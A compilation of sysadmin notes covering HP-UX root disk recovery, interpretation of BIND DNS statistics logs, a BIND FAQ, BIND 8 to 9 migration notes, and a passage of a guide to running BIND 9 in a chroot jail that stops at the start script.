解决方法
准备恢复的步骤
-----------------------------
这是您可以提前完成的工作，这些工作可使故障后的恢复更轻松一些：
1. 定期打印下列命令的输出：
/usr/sbin/ioscan -fk
/usr/sbin/vgdisplay -v
/usr/sbin/lvlnboot -v
/usr/sbin/lvdisplay -v /dev/vgXX/lvYY (对每个逻辑卷)
/usr/sbin/pvdisplay -v /dev/dsk/c#t#d0 (对每个LVM 磁盘)
cat /etc/fstab
fax = cat /etc/fstab
2. 使用SAM Backup and Recovery、fbackup或其它任何支持的方法，确认进行了可靠的系统完全备份。在每一次大的系统修改之后，使用COPYUTIL 可能会很有帮助。这是从支持介质上完成的。
注：这样就不必执行下面部分的第2步。
3. 在非根卷组中额外复制下面的文件：
/etc/passwd
/etc/group
/etc/lvmtab
/etc/lvmconf/ (整个目录)
/etc/fstab
/etc/rc.config.d/ (整个目录)
恢复步骤
----------------------
1. 如果可能，对除vg00之外的其它卷组执行vgexport(1M)。确保使用了映射文件的选项。
例: vgexport -v -m vg00.map /dev/vg01
2. 在根磁盘上重新安装，指定vg00需要的所有逻辑卷和磁盘。一定要记住这些磁盘的设备文件可以重新映射。根据需要扩展所有的文件系统。
3.用备份恢复根卷组中除下表中的文件之外的所有文件(通常为 vg00):
/etc/fstab
/etc/lvmtab
/etc/lvmconf/
/etc/ioconfig
/stand/ioconfig
/dev/dsk/
/dev/rdsk/
/dev/rmt/
/dev/vg*
所有的非vg00 安装点
4. 从磁带恢复映射文件，如果没有映射文件则跳过这一步。
5. 对其它卷组执行vgimport，指定适当的映射文件。记住要一次指定所有的磁盘设备文件。
例: vgimport -v -m vg02.map /dev/vg02 /dev/dsk/c1t4d0
/dev/dsk/c1t3d0
6. 编辑 /etc/fstab，以正确地反映所有的文件系统。
7. 对于任何其它系统配置的“恢复“，请参考第1步中收集的信息。
8. 如果没有映射文件，则重命名 /dev/vgxx/lvoly，将文件名rlvoly 为它们最初的名字(例如 /dev/vg01/foo and rfoo)
本文出自: http://www.hp.com.cn (2001-05-29 20:10:00)
配置信息
操作系统 - HP-UX
版本 - 10.20
硬件系统 - HP9000
系列 - K220
2007年6月4日星期一
HP-UX 根磁盘故障后如何恢复?
How to analyse DNS log
全面分析DNS日志
在DNS服务器运行时，每隔一小时会生成一组如下所示的LOG_INFO级日志信息，反馈DNS服务器的运行状态：
Dec 26 10:23:52 www named[1033]: Cleaned cache of 26 RRset
Dec 26 10:23:52 www named[1033]: USAGE 977797432 976760631 CPU=6.55u/6.24s CHILD CPU=0u/0s
Dec 26 10:23:52 www named[1033]: NSTATS 977797432 976760631 0=2 A=13192
CNAME=321 PTR=11204 MX=1173 TXT=4 AAAA=32 ANY=4956
Dec 26 10:23:52 www named[1033]: XSTATS 977797432 976760631 RR=7629 RNXD=1368
RFwdR=4836 RDupR=51 RFail=159 RFErr=0 RErr=12 RAXFR=0 RLame=175 ROpts=0
SSysQ=2082 SAns=26234 SFwdQ=4520 SDupQ=1263 SErr=0 RQ=30889 RIQ=4 RFwdQ=0
RDupQ=259 RTCP=2 SFwdR=4836 SFail=6 SFErr=0 SNaAns=21753 SNXD=10276
下面我们就逐句解读一下：
1. Dec 26 10:23:52 www named[1033]: Cleaned cache of 26 RRset
这是每一组日志信息的第一行，表示正在清空Cache。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
Cleaned cache of 26 RRset 表示正在清除cache
2. Dec 26 10:23:52 www named[1033]: USAGE 977797432 976760631 CPU=6.55u
/6.24s CHILD CPU=0u/0s
这一行是USAGE行，用于统计DNS服务器占用的CPU时间。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
USAGE 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
CPU=6.55u/6.24s 代表DNS服务器使用了用户态6.55秒，系统态6.24秒（u代表user，
s代表system），
CHILD CPU 代表DNS服务器子进程的CPU占用情况。
3. Dec 26 10:23:52 www named[1033]: NSTATS 977797432 976760631 0=2 A=13192
CNAME=321 PTR=11204 MX=1173 TXT=4 AAAA=32 ANY=4956
这一行是NSTATS行，用于统计接收到的查询总数
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
NSTATS 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
0=2 代表未知类型的DNS查询2个
A=13192 代表A类地址查询13192个（最标准）
CNAME=321 代表CNAME类地址查询321个（一般是有些版本的sendmail使用CNAME程序
规范化邮件地址而发出的，还有就是dig或nslookup发出的）
PTR=11204 代表指针查询11204个（许多软件通过这种方法来查找IP地址）
MX=1173 代表邮件交换器的查询1173个（是由邮件发送程序发起的）
TXT=4 代表应用程序进行的文本查询共有4个
AAAA=32 代表AAAA类查询32个
ANY=4956 有些Sendmail使用的地址查询方式，共4956个
注：还有可能有：
NS=xx 代表名字服务器查询（例如：名字服务器试图查找根域的服务器）
SOA=xx 代表辅助DNS更新
HINFO=xx 主机信息查询
NSAP=xx 将域名映射成OSI网络服务访问点地址
AXFR=xx 辅助DNS的区传送
这些在本例中并未出现。
4. Dec 26 10:23:52 www named[1033]: XSTATS 977797432 976760631 RR=7629 RNXD=1368
RFwdR=4836 RDupR=51 RFail=159 RFErr=0 RErr=12 RAXFR=0 RLame=175 ROpts=0 SSysQ=2082
SAns=26234 SFwdQ=4520 SDupQ=1263 SErr=0 RQ=30889 RIQ=4 RFwdQ=0
RDupQ=259 RTCP=2
SFwdR=4836 SFail=6 SFErr=0 SNaAns=21753 SNXD=10276
这是XSTATS行，它用于统计其它一些数据。
其中：
Dec 26 10:23:52 表示日志生成时间
www 显示DNS服务器所在机器名
named[1033]： 显示DNS服务器进程名与进程ID
NSTATS 行标记
977797432 976760631 977797432-976760631的值就是DNS服务器运行的总秒数
RR=7629 代表收到其它主机的响应共有7629个（DNS向其它机器或进程发出的查询得到的响应数、
与RQ无关）
RNXD=1368 代表收到“没有这样的域”回答共有1368个
RFwdR=108 收到对原始查询的响应为108个
RDupR=51 重复响应51个（当DNS在它悬而未决的查询列表中，找不到引起该响应的原始查询时，
这个响应就是重复响应）
RFail=159 收到SERVFAIL（远程服务器错误）159个
RFErr=0 没有收到FORMERR（远程名字服务器认为本地名字服务器的查询有格式错误）
Rerr=12 收到除了SERVFAIL、FORMERR以外的错误12个
RAXFR=0 共有0次区传送
RLame=175 收到175个坏授权（意味着有的区被授权给其它名字服务器，而这个名字服务器不是这
个区的权威）
ROpts=0 共收到带有IP选项的包的个数为0
SSysQ=2082 共发出系统查询2082个（系统查询是由本地名字服务器进行的查询。大多数都是针对
根名字服务器的）
SAns=26234 共回答了查询26234个
SFwdQ=4520 不在这个名字服务器，而转发共4520个
SDupQ=1263 重复查询数1263个
SErr=0 发出的非SERVFAIL、FORMERR的错误总数
RQ=30889 收到的查询共有30889个
RIQ=4 收到反向查询4个（反向查询是为了将地址映射为名字，现在这个功能被 PTR实现了。较早
的nslookup才使用这种查询）
RFwdQ=0 没有需要进一步处理的查询
RDupQ=259 重复查询共有259个
RTCP=2 通过TCP连接收到2个查询（一般使用UDP）
SFwdR=4836 来自其它名字服务器转发的响应4836个
SFail=6 发出被认为SERVFAIL响应共6个
SFErr=0 发出的被认为FORMERR的响应个数
SNaAns=21753 非权威回答共21753
SNXD=10276 发出没有这个域回答10276个
这些统计数据都是从DNS开启后到现在的总统计，而非本小时内的统计数字。如何衡量DNS服务器的
负载呢？很简单，将总查询数除以DNS运行的总时间，不就知道了吗？在本例中：DNS服务器已运行
了： 977797432-976760631=1036801秒=288小时
注：从第2、3、4行都可以得到
而总查询请求有： 2+13192+321+11204+1173+4+32+4956=20884次
注：从第2行都可以得到,也就是每小时107次查询请求，每秒不到2次，可见负载还是比较小的。
BIND常见问题集
Berkeley Internert Name Domain(BIND)是我们所熟知的域名软件，它具有广泛的使用基础，Internet上的绝大多数
DNS服务器都是基于这个软件的。BIND目前由ISC(Internet Software Consortium)负责维护，具体的开发由
Nominum(www.nominum.com)公司来完成。下面编译的这个常见问题集就是由该公司所发布的（同时也见于
http://www.isc.org/bind)，可以说，它具有较强的针对性和实用性。
1） 哪里可以找到BIND?
BIND以源码的格式发布。当前的版本为BIND 9,不过BIND 8.2.2-P5仍然是广泛发布的版本。考虑到早期版本的安全问
题，如果您还在运行比8.2.2-P5更早的版本，那么我们强烈推荐您升级软件。
以下的URL包括了源码和其他相关资源的链接，你可能会觉得很有用处：
http://www.isc.org/products/BIND/
源码也可以使用ftp从ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-src.tar.gz 获得。
镜像BIND的ftp服务器列表和其它ISC维护的开发源码软件可以在ftp://ftp.isc.org/isc/MIRRORS上找到。
2） 怎样安装BIND?
下载源码到一个空的目录。如果你需要的话，你也可以下载文档和捆绑的包。
接下来，你需要解压（unzip）和解包（untar）发布的包。
gunzip < bind-src.tar.gz | tar xf -
然后，你需要编译和安装软件。常见src/INSTALL以获知指令。在安装之前请备份系统，因为安装可能会覆盖旧的二进制
代码；这是依赖于系统的。
如果你是从BIND 4转过来的，那么你需要将配置文件named.boot转成新的语法。这里包含了一个转换程序。
named-bootconf
< /etc/named.boot
> /etc/named.conf
同时，如果你正从BIND 4转换而来，那么系统启动脚本需要进行修改，以使之查找/etc/named.conf，而不是
/etc/named.boot。
接着，你需要终止老的named并启动新的。
kill -TERM
ndc start
检查系统日志（在大多数Unix系统上，错误都存放在/var/adm/messages中），因为当前的版本比先前的版本容错性会差
一些。
3） 哪里有基于NT的BIND?
最新的基于NT的BIND可以从ftp://ftp.isc.org/isc/bind/src/8.2.2-P5/bind-src.tar.gz上的8.2.2p5源码中找
到。你应该能够使用WinZip来解压/解包8.2.2p5文件。一旦解压了源码，你会在src/port/winnt目录下找到NT的移植程
序。你需要Visual C++ 6.0来编译它。
4） 哪里可以找到有关BIND的信息？
先从http://www.isc.org/products/BIND/开始。
对于BIND用户，有一个可用的邮件列表。使用http://www.isc.org/services/public/lists/bind-lists.html上的表
单订阅。在你提交你的问题到邮件列表之前，请检查邮件列表的档案以查看是否你的问题已经回答过了。可搜索的
bind-users邮件列表档案位于http://www.isc.org/ml-archives/bind-users/。
Bind-users邮件列表同时指向了中等的Usenet新闻组comp.protocols.dns.bin.你可以在http://www.deja.com/上搜
索该新闻组。
BIND的"圣经"是DNS and BIND,Third Edition,作者：Paul Albitz和Cricket Liu。
5） 为什么我应该升级BIND到最新的版本？
最新的BIND版本解决了在以前版本中发现的bug和/或安全漏洞。
6） 我现在使用的是BIND的什么版本？
有几种方法可用来确定你正在使用什么版本的BIND。请注意有一些是针对于特定操作系统的，而其它一些不能在早于
4.9.5的BIND版本上工作。我们会在下面的描述中指明这些限制。
● 最简单的告知版本号的方法是查找named启动时写到系统日志文件中的消息。例如：
Jul 14 12:54:21 ns named[15677]: starting. named 8.2.2-P5
Jul 14 12:54:21 hostmaster@ns1.nominum.com:/usr/sbin/named
● named带"-v"开关会显示版本：
# named -v
named 8.2.2-P5 Thu Jul 20 17:19:57 PDT 2000
hostmaster@ns1.nominum.com:/usr/sbin/named
● 当使用更新版本的BIND时，BIND的name后台守护程序的控制接口程序可以提供版本信息：
ndc status
● 源代码控制系统（SCSS）的"what"命令提供了文件的标示信息。
what /named
以下命令当在运行BIND 4.9.5及以上版本的服务器上检查时会起作用。这两个程序都包括在BIND的发布版本中。
●nslookup
# nslookup
Default Server: ns.yourco.bogus
Address: 333.333.333.333
> set class=chaos
> set type=txt
> version.bind
Server: ns.yourco.bogus
Address: 333.333.333.333
VERSION.BIND text = "8.2.2-P5"
〉
●dig
dig version.bind txt chaos @ server name
或者
dig @ server name txt chaos version.bind
7） 我得到一个错误提示:No default TTL set using SOA minimum instead.为什么会这样？怎么办？
从BIND 8.2开始，你需要一条$TTL指示来设置域的默认TTL。可在域的SOA记录之前添加一条'$TTL XXXXXX'指示。
（XXXXXX表示计算到秒的默认TTL.）
8） 主机名可使用哪些有效字符？
主机名可以包括字母，数字以及连字符，但不能以连字符开头。下划线（_）在主机名中不是有效的字符。尽管有一些DNS
服务软件包可以允许下划线在主机名中出现，但大多数是不行的。使用一个带有下划线的域或者主机名会导致大多数
Internet上的名字服务器不能识别相关的主机/IP地址。
9） 为什么当我在本域中的一台主机上使用nslookup时会得到non-authoritative的答复？
这通常发生在域（zone）文件中有错误出现的时候。检查系统日志文件'messages'以查证错误。
10） 我已经修改了自己的域，但是在Internet上的其它地方看不到这种改变，为什么？
每当你修改了你的域文件，例如当你添加或者修改了主机记录的时候，你也必须更新域的SOA记录的文件版本，或者是
"serial number"，因为名字服务器从你的服务器检索信息时需要知道发生了修改。如果从上次查询之后版本号没有修
改，就不会执行更新。举例如下：
; foo.com.
$TTL 14400
@ IN SOA
someplace.foo.com. admin.foo.com. (
1 ; this file's version -- change
43200 ; refresh twice a day
1800 ; retry refresh every 15 minutes
604800 ; expire after 1000 hours (over week)
259200 ) ; minimum TTL of 3 day
显而易见，带'file's version'的行是我们想要修改的。版本序号可以为任何数字；1，2，3，4或者2001，2002，
2003，等等。唯一的限制是版本号不能多于10位。在这个示例中，如果你对域文件作了修改，你需要将版本序号改为
'2'。
11） 为什么没有IP地址？
在/etc/resolv.conf中没有名字服务器记录。
12） 在我的日志文件中出现的"lame server"错误是什么？
"lame server"指的是不能确信其是否具有域的授权的服务器。如果你有lame server，或者是授权给了lame server的
域，那么"lame server"消息很有用。如果你宁愿不看到"lame server"消息，你可以使用logging语句丢弃它们：
logging {
category lame-servers{ null; };
};
13） Microsoft Windows 2000和BIND的关系怎样？
BIND默认会检查所有记录以确保只在需要主机名的地方使用了主机名，这能够防止意外的一致性问题。
Microsoft Windows 2000使用一个称为"_msdcs"来存放动态目录数据。尽管这种子域不会与合法的主机名产生不一致，
但是也使得在子域中存放非法的主机名成为可能。这种主机名的使用默认是被BIND拒绝的。
动态目录希望在_msdcs中有"全局目录(global catalog)"(例如，gc._msdcs.example.com),这默认是拒绝的。为了解
决此问题,我们推荐动态目录设为独立的域(例如,"_msdcs.example.com")并配置成不检查非法的主机名。这应该是合理
的，因为Window 2000服务器创建这些数据，而且不应该会与其它希望访问这些数据的Windows 2000机器产生不一致问
题。
例如，
zone "_msdcs.example.com" {
type master;
file "_msdcs.example.db";
check-names ignore;
allow-update { localnets; };
};
14） 什么是TSIG key?
TSIG key提供了一种鉴别和验证交换的DNS数据有效性的方法，它在解析器和服务器之间或者两台服务器之间使用一个密
钥。
15） 我怎样使用TSIG key来动态更新我的DNS?
首先你需要使用以下命令生成一个TSIG密钥（我们将使用tsig-key作为密钥文件名）：
dnskeygen -H 128 -h -n tsig-key。
这会生成一对密钥文件：
'Ktsig-key.+157+00000.key'，这是一个ASCII文件，它包括以下行：
tsig-key. IN KEY 513 3 157
awwLOtRfpGE+rRKF2+DEiw==
和
'Kvip-key.+157+00000.private' ，这包括：
Private-key-format: v1.2 Algorithm: 157 (HMAC)
Key: awwLOtRfpGE+rRKF2+DEiw==
你将需要获取base64编码的密钥awwLOtRfpGE+rRKF2+DEiw== 并在配置你的服务器命名设置中使用它。例如：
key tsig-key. { algorithm hmac-md5; secret "awwLOtRfpGE+rRKF2+DEiw=="; };
zone "ddns.dregis.com" {
...
...
allow-update { key tsig-key. ; };
}
记得在这之后重启named。
然后，你需要复制这两个密钥文件到客户系统的某个位置（例如使用/var/named/tsig）。最后，你需要运行以下命令：
nsupdate -k /var/named/tsig:tsig-key。
16） 在named.conf中的'forwarder'选项有何作用？
forwarder行告诉服务器转发所有查询，因为它对另一个域名服务器没有授权或缓冲的数据。
http://www.linuxforum.net 作者 riser
BIND 8 to BIND 9 Migration Notes
BIND 9 is designed to be mostly upwards compatible with BIND 8, but there is still a number of caveats you should be aware of when upgrading an existing BIND 8 installation to use BIND 9.
Configuration File Compatibility
Unimplemented Options and Changed Defaults
BIND 9.1 supports most, but not all but not of the named.conf options of BIND 8. For a complete list of implmented options, see doc/misc/options.
If your named.conf file uses an unimplemented option, named will log a warning message. A message is also logged about each option whose default has changed unless the option is set explicitly in named.conf.
In particular, if you see a warning message about the default for the "auth-nxdomain" option having changed, you can suppress it by adding one of the following lines to the named.conf options { } block:
auth-nxdomain no; # conform to RFC1035
auth-nxdomain yes; # do what BIND 8 did by default
Handling of Configuration File Errors
In BIND 9, named refuses to start if it detects an error in named.conf. Earlier versions would start despite errors, causing the server to run with a partial configuration. Errors detected during subsequent reloads do not cause the server to exit.
Errors in master files never cause the server to exit.
Logging
The set of logging categories in BIND 9 is different from that in BIND 8. If you have customized your logging on a per-category basis, you need to modify your logging statement to use the new categories.
Another difference is that the "logging" statement only takes effect after the entire named.conf file has been read. This means that when the server starts up, any messages about errors in the configuration file are always logged to the default destination (syslog) when the server first starts up, regardless of the contents of the "logging" statement. In BIND 8, the new logging configuration took effect immediately after the "logging" statement was read.
Case sensitivity
In BIND 9, ACL names are case sensitive. In BIND 8 they were case insensitive.
Notify messages and Refesh queries
The source address and port for these is now controlled by "notify-source" and "transfer-source", respectively, rather that query-source as in BIND 8.
Multiple Classes
Multiple classes have to be put into explicit views for each class.
Zone File Compatibility
Strict RFC1035 Interpretation of TTLs in Zone Files
BIND 8 allowed you to omit all TTLs from a zone file, and used the value of the SOA MINTTL field as a default for missing TTL values.
BIND 9 enforces strict compliance with the RFC1035 and RFC2308 TTL rules. The default TTL is the value specified with the $TTL directive, or the previous explicit TTL if there is no $TTL directive. If there is no $TTL directive and the first RR in the file does not have an explicit TTL field, the error message "no TTL specified" is logged and loading the zone file fails.
To avoid problems, use a $TTL directive in each zone file.
Periods in SOA Serial Numbers Deprecated
Some versions of BIND allow SOA serial numbers with an embedded period, like "3.002", and convert them into integers in a rather unintuitive way. This feature is not supported by BIND 9; serial numbers must be integers.
Handling of Unbalanced Quotes
TXT records with unbalanced quotes, like 'host TXT "foo', were not treated as errors in some versions of BIND. If your zone files contain such records, you will get potentially confusing error messages like "unexpected end of file" because BIND 9 will interpret everything up to the next quote character as a literal string.
Handling of Line Breaks
Some versions of BIND accept RRs containing line breaks that are not properly quoted with parentheses, like the following SOA:
@ IN SOA ns.example. hostmaster.example.
( 1 3600 1800 1814400 3600 )
This is not legal master file syntax and will be treated as an error by BIND 9. The fix is to move the opening parenthesis to the first line.
Unimplemented BIND 8 Extensions
$GENERATE: The "$$" construct for getting a literal "$" into a domain name is deprecated. Use "\$" instead.
Interoperability Impact of New Protocol Features
BIND 9 uses EDNS0 (RFC2671) to advertise its receive buffer size. It also sets an EDNS flag bit in queries to indicate that it wishes to receive DNSSEC responses; this flag bit usage is not yet standardized, but we hope it will be.
Most older servers that do not support EDNS0, including prior versions of BIND, will send a FORMERR or NOTIMP response to these queries. When this happens, BIND 9 will automatically retry the query without EDNS0.
Unfortunately, there exists at least one non-BIND name server implementation that silently ignores these queries instead of sending an error response. Resolving names in zones where all or most authoritative servers use this server will be very slow or fail completely. We have contacted the manufacturer of the name server in case, and they are working on a solution.
Unrestricted Character Set
BIND 9 does not restrict the character set of domain names - it is fully 8-bit clean in accordance with RFC2181 section 11.
It is strongly recommended that hostnames published in the DNS follow the RFC952 rules, but BIND 9 will not enforce this restriction.
Historically, some applications have suffered from security flaws where data originating from the network, such as names returned by gethostbyaddr(), are used with insufficient checking and may cause a breach of security when containing unexpected characters; see
Server Administration Tools
The "ndc" program has been replaced by "rndc", which is capable of remote operation. Unlike ndc, rndc requires a configuration file; see the man pages in doc/man/bin/rndc.1 and doc/man/bin/rndc.conf.5 for details. Some of the ndc commands are still unimplemented in rndc.
No Information Leakage between Zones
BIND 9 stores the authoritative data for each zone in a separate data structure, as recommended in RFC1035 and as required by DNSSEC and IXFR. When a BIND 9 server is authoritative for both a child zone and its parent, it will have two distinct sets of NS records at the delegation point: the authoritative NS records at the child's apex, and a set of glue NS records in the parent.
BIND 8 was unable to properly distinguish between these two sets of NS records and would "leak" the child's NS records into the parent, effectively causing the parent zone to be silently modified: responses and zone transfers from the parent contained the child's NS records rather than the glue configured into the parent (if any). In the case of children of type "stub", this behavior was documented as a feature, allowing the glue NS records to be omitted from the parent configuration.
Sites that were relying on this BIND 8 behavior need to add any omitted glue NS records, and any necessary glue A records, to the parent zone.
Although stub zones can no longer be used as a mechanism for injecting NS records into their parent zones, they are still useful as a way of directing queries for a given domain to a particular set of name servers.
Building and configuring BIND 9
怎样建造一个BIND 9 DNS
This has turned out to be a damned hard document to write: we work on it bits and pieces at a time. Sorry if it's incomplete. All of our main work has been done on various flavors of Red Hat Linux, but we've included notes on porting to other systems as well.
We're particularly fond of the outstanding O'Reilly DNS and BIND book.
But our goal is to make this a one-stop place to figure how to do do this, and we'd be really grateful if those that were stuck could send us suggestions to clarify. Kindly forward them to .
Introduction
There are plenty of people who've written about how to run BIND in a chroot jail, and we'll add our own experiences. We have done this on a handful of machines and have the routine down pretty well, and anybody else with the same problem set might find this helpful.
We've previously run BIND 8 in a jail, and it has always been a horrid nightmare to build and configure because the install paths had to be hacked up on a custom basis, and every operating system put files in different places. BIND 9 has changed this and decide that it all goes into /usr/local. This has made an enormous difference to consultants with widely varied customer bases. Thank you, ISC.
Most of our direct experience is with various flavors of Red Hat Linux, but we've set this up on Debian's "woody" release as well. These instructions are current as of BIND 9.2.2rc1.
Quick links:
Pick up & unpack the source
Configure and build
Create the jail
Create the configuration files
Starting the nameserver
Daemon control with rndc
Starting named at boot time
Adding local slave zones
Adding local master zones
Remote RNDC
Views / Split DNS
Files created by "make install"
Porting issues
Pick up the source
Get the source at the Internet Software Consortium, and the home page for BIND is http://www.isc.org/products/BIND/. These instructions were written for 9.1.2 on a Red Hat Linux 6.2 system, and we'll try to keep them updated as we upgrade our and customer systems. We generally try to keep running the latest stable versions - we're not generally too adventurous with beta. Our practice is to keep our own build stuff under a /source tree, and to unpack individual sources under it.
# cd /source
# gtar -xzvf bind-9.1.2.tar.gz
This unbundles everything into a subdirectory with the full name of the package, and the next step is to to configure and build it.
Configure and build
The BIND instructions say to simply run ./configure, but under Linux a couple of additions are required.
Apparently, thread support doesn't work right in many kernels (see the FAQ file in the source tree), and we just aren't up to installing a custom kernel when it's so much easier to just disable threading. The notes apply to the 2.2.x kernels, and we don't know if this is fixed in 2.4. Those with stronger stomaches or enormous DNS needs are welcome to Do It Right.
In addition, BIND can support IPv6, the next generation IP addresses (current version is IPv4). BIND typically probes for IPv6 support at runtime, but since we are quite sure that we really don't need this on our networks, we disable it entirely as a safety measure.
NOTE: we prefer to remove any existing nameserver installations (especially those provided by the operating system) before installing the new one. This avoids problems with older versions of key binaries lying around and sometimes being at the wrong point in the command-search $PATH.
Under Red Hat Linux (for instance), this means removing three packages before doing installations.
# rpm -e bind bind-utils caching-nameserver
Finally, we want everything installed into the /usr/local hierarchy, so we provide the installation prefix. This said, configuration and installation is quite simple:
# cd /source/bind-9.1.2
# ./configure --prefix=/usr/local --disable-ipv6 --disable-threads
# make
# make install
This takes about 15 minutes on a dual-CPU 200 MHz Pentium Pro machine and about three minutes on a 1 GHz Pentium III, and it installs around 200 files under /usr/local. Most of them are #include files for C language programming, and only about a dozen are really needed for a BIND installation. See the complete file list at the end of this document.
Build and configure the jail
Creating the actual jail itself is much easier than for BIND 8 because so much trash is not required - it's just tremendous. In particular, none of the shared libraries or named binary files are required to live in the jail, and this makes it easier and more secure for us. For more details on our thoughts on chroot operations, see our more detailed tech tip Best Practices for UNIX chroot() Operations
The initial steps to configure the jail are:
create initial named user and group
# groupadd named
# useradd -g named -d /chroot/named -s /bin/true named
# passwd -l named "lock" the account
Remove all the login-related trash under the newly-created home directory
# rm -rf /chroot/named
Re-create the top level jail directory
# mkdir -p /chroot/named
# cd /chroot/named
create the hierarchy
# mkdir dev
# mkdir etc
# mkdir logs
# mkdir -p var/run
# mkdir -p conf/secondaries
create the devices, but confirm the major/minor device
numbers with "ls -lL /dev/zero /dev/null /dev/random"
# mknod dev/null c 1 3
# mknod dev/zero c 1 5
# mknod dev/random c 1 8
copy the timezone file
# cp /etc/localtime etc
Noticeably absent are any ownership/permissions issues: this is deliberate. We'll get to it shortly. Note that the ls command used to verify the major/minor device numbers includes the -L parameter - this follows symbolic links and is required on some platforms such as Solaris.
Construct the configuration files
The named.conf configuration is central to named operation, and we'll go through creating it step by step. Though these files can get very complex, our first efforts will be for a minimal caching-only nameserver just to get the whole end-to-end process working correctly. Then we'll retrofit to add in needed features such as local domains and access controls.
The named.conf file lives in the jail's etc directory, which makes the full path /chroot/named/etc/named.conf. We usually create a symbolic link to make this visible to the rest of the system at /etc/named.conf:
# ln -s /chroot/named/etc/named.conf /etc/named.conf
Now, using your favorite editor, create the first version of the etc/named.conf file. We suspect that some of these parameters are not strictly necessary, as the defaults will do, but we feel that being explicit will make the daemon easier to debug for the new administrator (less searching for key files)
--------------------------------------------------------------------------------
options {
directory "/conf";
pid-file "/var/run/named.pid";
statistics-file "/var/run/named.stats";
dump-file "/var/run/named.db";
# hide our "real" version number
version "[secured]";
};
# The root nameservers
zone "." {
type hint;
file "db.rootcache";
};
# localhost - forward zone
zone "localhost" {
type master;
file "db.localhost";
notify no;
};
# localhost - inverse zone
zone "0.0.127.in-addr.arpa" {
type master;
file "db.127.0.0";
notify no;
};
--------------------------------------------------------------------------------
Notice that the directory keyword says /conf, not /chroot/named/conf - this is intended. When running the nameserver inside the chroot jail, all the paths are relative to the top of the jail at /chroot/named.
This configuration refers to three additional files -- db.rootcache, db.localhost and db.127.0.0 -- and they are all created in the /chroot/named/conf directory.
db.rootcache is a list of the roughly dozen "root servers" which are the starting points for virtually every name query done throughout the internet, and the latter describes the "localhost" address. Creating conf/db.rootcache file can usually be done automatically by querying the root nameservers directly. If the current machine has working nameservers (say, via your ISP), you can just do the command:
# dig @a.root-servers.net . ns > /chroot/named/conf/db.rootcache
In the absense of any working nameservice, a recent version of the file can be found here.
The two other required files serve to administrate the "localhost" address, and the files are static and need not really be understood:
--------------------------------------------------------------------------------
;
; db.localhost
;
$TTL 86400
@ IN SOA @ root (
42 ; serial (d. adams)
3H ; refresh
15M ; retry
1W ; expiry
1D ) ; minimum
IN NS @
IN A 127.0.0.1
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
;
; db.127.0.0
;
$TTL 86400
@ IN SOA localhost. root.localhost. (
1 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
IN NS localhost.
1 IN PTR localhost.
--------------------------------------------------------------------------------
They should be created one time, and thereafter won't ever be administered again.
Verifying permissions
Now we've created the files required inside the jail, but the matter of setting the permissions and ownership remains. It's possible to do this by hand, but unreliable: it's very hard to "keep up" with making sure that everything is set correctly on an ongoing basis. So we typically create a small shell script that will run through the entire jail and affirmatively set everything.
We typically put this in /chroot/named.perms - it lives outside the jail itself - and we've found that the same file has been usable without change on all of our installations.
--------------------------------------------------------------------------------#
# named.perms
#
# Set the ownership and permissions on the named directory
#
cd /chroot/named
# By default, root owns everything and only root can write, but dirs
# have to be executable too. Note that some platforms use a colon
# instead of a dot between user/group in the chown parameters}
chown -R root.named .
find . -type f -print | xargs chmod u=rw,og=r # regular files
find . -type d -print | xargs chmod u=rwx,og=rx # directories
# the named.conf and rndc.conf must protect their keys
chmod o= etc/*.conf
# the "secondaries" directory is where we park files from
# master nameservers, and named needs to be able to update
# these files and create new ones.
touch conf/secondaries/.empty # placeholder
find conf/secondaries/ -type f -print | xargs chown named.named
find conf/secondaries/ -type f -print | xargs chmod ug=r,o=
chown root.named conf/secondaries/
chmod ug=rwx,o= conf/secondaries/
# the var/run business is for the PID file
chown root.root var/
chmod u=rwx,og=x var/
chown root.named var/run/
chmod ug=rwx,o=rx var/run/
# named has to be able to create logfiles
chown root.named logs/
chmod ug=rwx,o=rx logs/
--------------------------------------------------------------------------------
The "placeholder" file simply insures that the secondaries directory is not empty, and it prevents the script from generating (harmless) error messages.
It's absolutely necessary to run this at least once after setting things up, and periodically whenever changes are made. The command to run this is sh /chroot/named.perms, but the -x option can be added if you want to watch it run:
# sh -x /chroot/named.perms
+ cd /chroot/named
+ chown -R root.named .
+ find . -type f -print
+ xargs chmod u=rw,og=r
+ find . -type d -print
+ xargs chmod u=rwx,og=rx
+ chmod o= etc/named.conf etc/rndc.conf
+ touch conf/secondaries/.empty
+ find conf/secondaries/ -type f -print
+ xargs chown named.named
+ find conf/secondaries/ -type f -print
+ xargs chmod ug=r,o=
+ chown root.named conf/secondaries/
+ chmod ug=rwx,o= conf/secondaries/
+ chown root.root var/
+ chmod u=rwx,og=x var/
+ chown root.named var/run/
+ chmod ug=rwx,o=rx var/run/
A few notes on the files in the jail:
It's not clear that splitting up the etc/ and conf/ directories is necessary, but we've done it this way for a long time and it seems to be a habit. We could probably put everything in conf/ (or etc/) with no impact on safety.
The conf/secondaries/ directory holds the transferred zone files received from the master nameservers, and they are in a separate place for two reasons. One, it helps separate files that you're allowed to modify (the master files) from those that you're not (the secondary).
But more importantly, even the nameserver user itself should not modify your master files, which could be possible if a vulnerability allowed a remote bad guy to run arbitrary code. If the db.master.com files or its directory is writable, the bad guy could hijack a domain this way (with substantial effort). By putting the secondaries in a writable area, it limits the damage that can occur this way and helps keep things organized well.
named needs to puts its process ID somewhere, and this is usually in some variant of /var/run/named.pid. This name is mentioned in the named.conf file, recalling that it's relative to the jail's top directory:
options {
pid-file "/var/run/named.pid";
...
};
The etc/named.conf and etc/rndc.conf files will soon both contain the secret key used to manage the nameserver, and this key must be protected from disclosure by making both files unreadable by anybody other than root or the named group. This is important.
Starting the nameserver
We're just about ready to try starting the nameserver, but since the daemon requires several key parameters - that we cannot omit - we prefer to put the full command in a script file. This small script is placed in /chroot/named.start:
--------------------------------------------------------------------------------
#
# named.start
#
